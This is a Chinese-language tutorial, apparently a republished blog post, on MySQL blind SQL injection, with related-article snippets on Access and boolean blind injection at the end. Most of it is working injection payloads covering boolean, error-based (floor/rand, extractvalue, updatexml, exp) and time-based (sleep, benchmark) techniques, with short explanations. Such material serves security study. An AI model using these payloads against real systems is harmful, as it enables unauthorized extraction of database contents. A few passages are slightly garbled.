MYSQL注入天書之盲注講解

2021-08-26 12:10:42 字數 4326 閱讀 7206

何為盲注?盲注就是在sql注入過程中,sql語句執行的選擇後,選擇的資料不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從background-1中,我們可以知道盲注分為三類

•基於布林sql盲注

•基於時間的sql盲注

•基於報錯的sql盲注

ps:知識點太多了,這裡只能簡單列出來大致講解一下。(ps:每當看到前輩的奇淫技巧的payload時,能想象到我內心的喜悅麼?我真的想細細的寫寫這一塊,但是不知道該怎麼寫或者小夥伴需要怎麼樣來講這個,可以m我。)

1:基於布林sql盲注----------構造邏輯判斷

我們可以利用邏輯判斷進行

擷取字串相關函式解析這個還是要看下)

▲left(database(),1)>'s'             //left()函式

explain:database()顯示資料庫名稱,left(a,b)從左側擷取a的前b位

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函式,ascii()函式

explain:substr(a,b,c)從b位置開始,擷取字串a的c長度。ascii()將某個字元轉換為ascii值

▲ascii(substr((select database()),1,1))=98

▲ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))>98%23               //ord()函式,mid()函式

explain:mid(a,b,c)從位置b開始,擷取a字串的c位

ord()函式同ascii(),將字元轉為ascii值

▲regexp正則注入

正則注入介紹:

用法介紹:select user() regexp '^[a-z]';

explain:正規表示式的用法,user()結果為root,regexp為匹配root的正規表示式。

第二位可以用select user() regexp '^ro'來進行。

當正確的時候顯示結果為1,不正確的時候顯示結果為0.

示例介紹:

i select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

iiselect * from users where id=1 and 1=(user() regexp'^ri');

通過if語句的條件判斷,返回一些條件句,比如if等構造乙個判斷。根據返回結果是否等於0或者1進行判斷。

iiiselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

這裡利用select構造了乙個判斷語句。我們只需要更換regexp表示式即可

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> false

如何知道匹配結束了?這裡大部分根據一般的命名方式(經驗)就可以判斷。但是如何你在無法判斷的情況下,可以用table_name regexp '^username′來進行判斷。是從開頭進行匹配,′來進行判斷。是從開頭進行匹配,是從結尾開始判斷。更多的語法可以參考mysql使用手冊進行了解。

好,這裡思考乙個問題?

這裡可能會有人認為使用limit 0,1改為limit 1,1。

但是這種做法是錯誤的,limit作用在前面的select語句中,而不是regexp。那我們該如何選擇。其實在regexp中我們是取匹配table_name中的內容,只要table_name中有的內容,我們用regexp都能夠匹配到。因此上述語句不僅僅可以選擇user,還可以匹配其他項。

▲like匹配注入

和上述的正則類似,mysql在匹配的時候我們可以用ike進行匹配。

用法:select user() like 'ro%'

2:基於報錯的sql盲注------構造payload讓資訊通過錯誤提示回顯出來

▲select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  

//explain:此處有三個點,一是需要concat計數,二是floor,取得0 or 1,進行資料的重複,三是group by進行分組,但具體原理解釋不是很通,大致原理為分組後資料計數時重複造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。

以上語句可以簡化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果關鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union 

select !1) group by concat(version(),floor(rand(0)*2)) 

如果rand被禁用了可以使用使用者變數來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

▲select exp(~(select * from(select user())a))         //double數值型別超出範圍

//exp()為以e為底的對數函式;版本在5.5.5及其以上

可以參考exp報錯文章:

▲select !(select * from (select user())x) -(ps:這是減號) ~0  

//bigint超出範圍;~0是對0逐位取反,很大的版本在5.5.5及其以上

可以參考文章bigint溢位文章

▲extractvalue(1,concat(0x7e,(select @@version),0x7e))  se//mysql對xml資料進行查詢和修改的xpath函式,xpath語法錯誤

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysql對xml資料進行查詢和修改的xpath函式,xpath語法錯誤

▲select * from (select name_const(version(),1),name_const(version(),1))x;

//mysql重複特性,此處重複了version,所以報錯。

3:基於時間的sql盲注----------延時注入

▲if(ascii(substr(database(),1,1))>115,0,sleep(5))%23  //if判斷語句,條件為假,執行sleep

ps:遇到以下這種利用sleep()延時注入語句
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
該語句意思是在0-9之間找版本號的第一位。但是在我們實際滲透過程中,這種用法是不可取的,因為時間會有網速等其他因素的影響,所以會影響結果的判斷。
▲union select if(substring(current,1,1)=char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tb1;

//benchmark(count,expr)用於測試函式的效能,引數一為次數,二為要執行的表示式。可以讓函式執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功。這是一種邊通道攻擊,在執行過程中占用大量的cpu資源。推薦使用sleep()

函式進行注入。

SQL注入之access盲注

一般用於沒有回顯位,無法直接回顯資料庫內容。有兩種語句方法 order by 1 回顯資料庫錯誤,既不可用回顯注入。and 1 1 返回正常 and 1 2 返回錯誤 and exists select from admin 猜的 返回正常既存在,報錯既不存在 and exists select u...

sql注入之 布林盲注

一 布林型盲注 盲注,就是在伺服器沒有錯誤回顯是完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的資訊,所以攻擊者必須找到乙個方法來驗證注入的sql語句是否得到了執行。注入原理 ascii ord 函式,返回字元ascii碼值 引數 str單字元 length 函式,返回字串的長度。...

sql注入之布林盲注

今天我們主要講一下布林盲注是如何使用的,顧名思義,盲注,就是我們需要去不停的去測試,首先我們測試注入型別,然後我們再去帶入相應的函式資訊。布林盲注很明顯的就是ture跟fales,也就是說它會根據你輸入的注入資訊返回ture或者fales,也就沒有了之前的報錯資訊。布林盲注裡面比較常用得函式是len...